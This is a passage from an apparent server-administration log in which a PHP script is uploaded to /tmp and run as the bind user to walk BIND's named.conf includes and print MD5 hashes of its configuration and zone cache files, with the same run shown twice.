function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:16:15: 

runuser -l bind -s /bin/bash -c '/tmp/pkp984487; rm /tmp/pkp984487'

2026-02-09 14:16:15: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8cfa4ab3d8b17cb819bbbf0ea93fd8e9
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:16:17: Establishing a connection
2026-02-09 14:16:17: 

PUT: /tmp/pkp383036

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:16:17: 

runuser -l bind -s /bin/bash -c '/tmp/pkp383036; rm /tmp/pkp383036'

2026-02-09 14:16:17: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
